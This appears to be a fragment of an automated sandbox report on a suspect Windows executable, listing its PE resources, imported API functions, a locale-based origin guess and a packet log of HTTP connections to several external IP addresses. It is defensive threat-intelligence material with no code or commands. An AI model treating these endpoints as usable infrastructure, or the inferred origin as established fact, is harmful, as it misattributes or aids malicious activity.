RT_ICON	0x26b0490	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	India	0.4933368869936034
RT_ICON	0x26b1338	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	Pakistan	0.47382671480144406
RT_ICON	0x26b1338	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	India	0.47382671480144406
RT_ICON	0x26b1be0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Punjabi	Pakistan	0.430635838150289
RT_ICON	0x26b1be0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Punjabi	India	0.430635838150289
RT_ICON	0x26b2148	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	Pakistan	0.2798755186721992
RT_ICON	0x26b2148	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	India	0.2798755186721992
RT_ICON	0x26b46f0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	Pakistan	0.28846153846153844
RT_ICON	0x26b46f0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	India	0.28846153846153844
RT_ICON	0x26b5798	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Punjabi	Pakistan	0.305327868852459
RT_ICON	0x26b5798	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Punjabi	India	0.305327868852459
RT_ICON	0x26b6120	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	Pakistan	0.33687943262411346
RT_ICON	0x26b6120	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	India	0.33687943262411346
RT_ICON	0x26b65f0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	Pakistan	0.28038379530916846
RT_ICON	0x26b65f0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	India	0.28038379530916846
RT_ICON	0x26b7498	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	Pakistan	0.3722924187725632
RT_ICON	0x26b7498	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	India	0.3722924187725632
RT_ICON	0x26b7d40	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Punjabi	Pakistan	0.396889400921659
RT_ICON	0x26b7d40	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Punjabi	India	0.396889400921659
RT_ICON	0x26b8408	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Punjabi	Pakistan	0.38945086705202314
RT_ICON	0x26b8408	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Punjabi	India	0.38945086705202314
RT_ICON	0x26b8970	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	Pakistan	0.27686721991701246
RT_ICON	0x26b8970	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	India	0.27686721991701246
RT_ICON	0x26baf18	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	Pakistan	0.3022983114446529
RT_ICON	0x26baf18	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	India	0.3022983114446529
RT_ICON	0x26bbfc0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Punjabi	Pakistan	0.3274590163934426
RT_ICON	0x26bbfc0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Punjabi	India	0.3274590163934426
RT_ICON	0x26bc948	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	Pakistan	0.3546099290780142
RT_ICON	0x26bc948	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	India	0.3546099290780142
RT_STRING	0x26bf2b8	0x270	data	Punjabi	Pakistan	0.5144230769230769
RT_STRING	0x26bf2b8	0x270	data	Punjabi	India	0.5144230769230769
RT_STRING	0x26bf528	0x4fa	data	Punjabi	Pakistan	0.4466248037676609
RT_STRING	0x26bf528	0x4fa	data	Punjabi	India	0.4466248037676609
RT_STRING	0x26bfa28	0x650	data	Punjabi	Pakistan	0.4344059405940594
RT_STRING	0x26bfa28	0x650	data	Punjabi	India	0.4344059405940594
RT_STRING	0x26c0078	0x4a4	data	Punjabi	Pakistan	0.45286195286195285
RT_STRING	0x26c0078	0x4a4	data	Punjabi	India	0.45286195286195285
RT_STRING	0x26c0520	0x3c8	data	Punjabi	Pakistan	0.45867768595041325
RT_STRING	0x26c0520	0x3c8	data	Punjabi	India	0.45867768595041325
RT_ACCELERATOR	0x26bce28	0x40	data	Punjabi	Pakistan	0.890625
RT_ACCELERATOR	0x26bce28	0x40	data	Punjabi	India	0.890625
RT_ACCELERATOR	0x26bce68	0x38	data	Punjabi	Pakistan	0.8928571428571429
RT_ACCELERATOR	0x26bce68	0x38	data	Punjabi	India	0.8928571428571429
RT_GROUP_CURSOR	0x26bd380	0x22	data			1.0294117647058822
RT_GROUP_CURSOR	0x26bf060	0x30	data			0.9375
RT_GROUP_ICON	0x26a9bf0	0x68	data	Punjabi	Pakistan	0.6826923076923077
RT_GROUP_ICON	0x26a9bf0	0x68	data	Punjabi	India	0.6826923076923077
RT_GROUP_ICON	0x26a3d88	0x30	data	Punjabi	Pakistan	0.9375
RT_GROUP_ICON	0x26a3d88	0x30	data	Punjabi	India	0.9375
RT_GROUP_ICON	0x26b0418	0x76	data	Punjabi	Pakistan	0.6779661016949152
RT_GROUP_ICON	0x26b0418	0x76	data	Punjabi	India	0.6779661016949152
RT_GROUP_ICON	0x26bcdb0	0x76	data	Punjabi	Pakistan	0.6864406779661016
RT_GROUP_ICON	0x26bcdb0	0x76	data	Punjabi	India	0.6864406779661016
RT_GROUP_ICON	0x26b6588	0x68	data	Punjabi	Pakistan	0.7211538461538461
RT_GROUP_ICON	0x26b6588	0x68	data	Punjabi	India	0.7211538461538461
RT_VERSION	0x26bf090	0x228	data			0.5380434782608695
None	0x26bceb0	0xa	data	Punjabi	Pakistan	1.8
None	0x26bceb0	0xa	data	Punjabi	India	1.8
None	0x26bcea0	0xa	data	Punjabi	Pakistan	1.8
None	0x26bcea0	0xa	data	Punjabi	India	1.8
None	0x26bcec0	0xa	data	Punjabi	Pakistan	1.8
None	0x26bcec0	0xa	data	Punjabi	India	1.8
None	0x26bced0	0xa	data	Punjabi	Pakistan	1.8
None	0x26bced0	0xa	data	Punjabi	India	1.8

Imports

DLL	Import
KERNEL32.dll	LoadResource, EndUpdateResourceW, GetCurrentProcess, CreateJobObjectW, InterlockedCompareExchange, SignalObjectAndWait, SetComputerNameW, GetComputerNameW, GetModuleHandleW, GetTickCount, EnumTimeFormatsA, GetDateFormatA, TzSpecificLocalTimeToSystemTime, GlobalAlloc, SetFileShortNameW, GlobalFindAtomA, FormatMessageW, GetVersionExW, SetConsoleCursorPosition, GetVolumePathNameA, LCMapStringA, GetConsoleAliasesW, OpenMutexW, GetLastError, SetLastError, BackupRead, GetConsoleAliasExesLengthA, CreateFileA, VirtualAlloc, EnumDateFormatsExA, HeapUnlock, SetComputerNameA, LoadLibraryA, InterlockedExchangeAdd, CreateFileMappingA, DeleteTimerQueue, CreateFileMappingW, FindFirstVolumeMountPointW, SetThreadIdealProcessor, FoldStringW, FindFirstVolumeMountPointA, VirtualProtect, CompareStringA, GetCurrentThreadId, OpenSemaphoreW, TerminateJobObject, GetWindowsDirectoryW, GlobalAddAtomW, lstrcpyA, TlsGetValue, ReadConsoleOutputCharacterA, GetNativeSystemInfo, GetFullPathNameA, GetProcAddress, UnhandledExceptionFilter, SetUnhandledExceptionFilter, Sleep, ExitProcess, GetCommandLineA, GetStartupInfoA, WriteFile, GetStdHandle, GetModuleFileNameA, RaiseException, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, InterlockedDecrement, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, TerminateProcess, IsDebuggerPresent, InitializeCriticalSectionAndSpinCount, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, GetFileType, HeapCreate, VirtualFree, HeapFree, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetModuleHandleA, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, RtlUnwind, HeapSize, GetLocaleInfoA, HeapAlloc, HeapReAlloc, MultiByteToWideChar, LCMapStringW, GetStringTypeA, GetStringTypeW
USER32.dll	CharUpperW, DdeQueryStringA, SetMessageExtraInfo
GDI32.dll	CreateCompatibleBitmap, SetDeviceGammaRamp
ADVAPI32.dll	SetKernelObjectSecurity
ole32.dll	StringFromIID

Possible Origin

Language of compilation system	Country where language is spoken	Map
Punjabi	Pakistan
Punjabi	India

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2023 18:01:28.715471983 CET	49709	80	192.168.2.7	34.94.245.237
Dec 2, 2023 18:01:28.942208052 CET	80	49709	34.94.245.237	192.168.2.7
Dec 2, 2023 18:01:28.942328930 CET	49709	80	192.168.2.7	34.94.245.237
Dec 2, 2023 18:01:30.584939957 CET	49709	80	192.168.2.7	34.94.245.237
Dec 2, 2023 18:01:30.584981918 CET	49709	80	192.168.2.7	34.94.245.237
Dec 2, 2023 18:01:30.811321020 CET	80	49709	34.94.245.237	192.168.2.7
Dec 2, 2023 18:01:30.811336994 CET	80	49709	34.94.245.237	192.168.2.7
Dec 2, 2023 18:01:30.811456919 CET	80	49709	34.94.245.237	192.168.2.7
Dec 2, 2023 18:01:30.811469078 CET	80	49709	34.94.245.237	192.168.2.7
Dec 2, 2023 18:01:30.811554909 CET	49709	80	192.168.2.7	34.94.245.237
Dec 2, 2023 18:01:30.843102932 CET	49709	80	192.168.2.7	34.94.245.237
Dec 2, 2023 18:01:31.069217920 CET	80	49709	34.94.245.237	192.168.2.7
Dec 2, 2023 18:01:32.905364990 CET	49710	80	192.168.2.7	104.198.2.251
Dec 2, 2023 18:01:33.128498077 CET	80	49710	104.198.2.251	192.168.2.7
Dec 2, 2023 18:01:33.128614902 CET	49710	80	192.168.2.7	104.198.2.251
Dec 2, 2023 18:01:33.128868103 CET	49710	80	192.168.2.7	104.198.2.251
Dec 2, 2023 18:01:33.128904104 CET	49710	80	192.168.2.7	104.198.2.251
Dec 2, 2023 18:01:33.351983070 CET	80	49710	104.198.2.251	192.168.2.7
Dec 2, 2023 18:01:33.351999044 CET	80	49710	104.198.2.251	192.168.2.7
Dec 2, 2023 18:01:33.352214098 CET	80	49710	104.198.2.251	192.168.2.7
Dec 2, 2023 18:01:33.352226019 CET	80	49710	104.198.2.251	192.168.2.7
Dec 2, 2023 18:01:33.352286100 CET	49710	80	192.168.2.7	104.198.2.251
Dec 2, 2023 18:01:33.352400064 CET	49710	80	192.168.2.7	104.198.2.251
Dec 2, 2023 18:01:33.575531960 CET	80	49710	104.198.2.251	192.168.2.7
Dec 2, 2023 18:01:34.062752962 CET	49711	80	192.168.2.7	34.143.166.163
Dec 2, 2023 18:01:34.605048895 CET	80	49711	34.143.166.163	192.168.2.7
Dec 2, 2023 18:01:34.605142117 CET	49711	80	192.168.2.7	34.143.166.163
Dec 2, 2023 18:01:34.605372906 CET	49711	80	192.168.2.7	34.143.166.163
Dec 2, 2023 18:01:34.605401993 CET	49711	80	192.168.2.7	34.143.166.163
Dec 2, 2023 18:01:35.147113085 CET	80	49711	34.143.166.163	192.168.2.7
Dec 2, 2023 18:01:35.147126913 CET	80	49711	34.143.166.163	192.168.2.7
Dec 2, 2023 18:01:35.147260904 CET	80	49711	34.143.166.163	192.168.2.7
Dec 2, 2023 18:01:35.147272110 CET	80	49711	34.143.166.163	192.168.2.7
Dec 2, 2023 18:01:35.147391081 CET	49711	80	192.168.2.7	34.143.166.163
Dec 2, 2023 18:01:35.147466898 CET	49711	80	192.168.2.7	34.143.166.163
Dec 2, 2023 18:01:35.689713955 CET	80	49711	34.143.166.163	192.168.2.7
Dec 2, 2023 18:01:37.541711092 CET	49712	80	192.168.2.7	34.143.166.163
Dec 2, 2023 18:01:38.090579987 CET	80	49712	34.143.166.163	192.168.2.7
Dec 2, 2023 18:01:38.090661049 CET	49712	80	192.168.2.7	34.143.166.163
Dec 2, 2023 18:01:38.090950966 CET	49712	80	192.168.2.7	34.143.166.163
Dec 2, 2023 18:01:38.090984106 CET	49712	80	192.168.2.7	34.143.166.163
Dec 2, 2023 18:01:38.639928102 CET	80	49712	34.143.166.163	192.168.2.7
Dec 2, 2023 18:01:38.639939070 CET	80	49712	34.143.166.163	192.168.2.7
Dec 2, 2023 18:01:38.640119076 CET	80	49712	34.143.166.163	192.168.2.7
Dec 2, 2023 18:01:38.640126944 CET	80	49712	34.143.166.163	192.168.2.7
Dec 2, 2023 18:01:38.640187025 CET	49712	80	192.168.2.7	34.143.166.163
Dec 2, 2023 18:01:38.640324116 CET	49712	80	192.168.2.7	34.143.166.163
Dec 2, 2023 18:01:38.781924009 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.011373043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.011543036 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.011873960 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.011991024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.189116001 CET	80	49712	34.143.166.163	192.168.2.7
Dec 2, 2023 18:01:39.241635084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.241646051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.259974957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.259987116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.260034084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.260040998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.260047913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.260054111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.260067940 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.260080099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.260080099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.260113955 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.260114908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.260124922 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.260137081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.260176897 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.260194063 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.489593983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.489609003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.489620924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.489633083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.489691973 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.489717960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.489729881 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.489742041 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.489799023 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.489840984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.489850998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.489947081 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.490400076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.490412951 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.490423918 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.490434885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.490447998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.490458965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.490463972 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.490473032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.490484953 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.490499020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.490499973 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.490510941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.490540981 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.490540981 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.490550995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.490565062 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.490566969 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.490652084 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.719204903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.719225883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.719238997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.719252110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.719300032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.719336987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.719352007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.719364882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.719367981 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.719408035 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.719423056 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.719451904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.719464064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.719477892 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.719491005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.719504118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.719527960 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.719527960 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.719557047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.719583988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.719598055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.719609022 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.719651937 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.719963074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720057011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720071077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720083952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720122099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.720122099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.720165014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720179081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720242023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720244884 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.720256090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720269918 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720283031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720297098 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720309973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720321894 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.720321894 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.720361948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.720421076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720434904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720448017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720459938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720505953 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.720505953 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.720531940 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720546961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720560074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720572948 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720622063 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.720622063 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.720649004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720663071 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720674992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720688105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.720752954 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.720793009 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.948889971 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.948995113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.949007988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.949019909 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.949032068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.949043989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.949055910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.949068069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.949068069 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.949068069 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.949079990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.949115038 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.949122906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.949177027 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.949297905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.949311018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.949490070 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950042009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950053930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950066090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950078011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950143099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950143099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950160980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950174093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950185061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950196981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950207949 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950244904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950244904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950249910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950264931 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950275898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950287104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950299025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950310946 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950320005 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950320005 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950371027 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950392962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950407028 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950418949 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950431108 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950443029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950454950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950467110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950479031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950490952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950495005 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950495005 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950498104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950495958 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950506926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950515032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950515985 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950534105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950546980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950560093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950572014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950582981 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950582981 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950587988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950602055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950618029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950619936 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950629950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950642109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950654030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950664997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950665951 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950665951 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950700998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950711012 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950711966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950711012 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950727940 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950800896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950813055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950824976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950825930 CET	49713	80	192.168.2.7	91.215.85.17
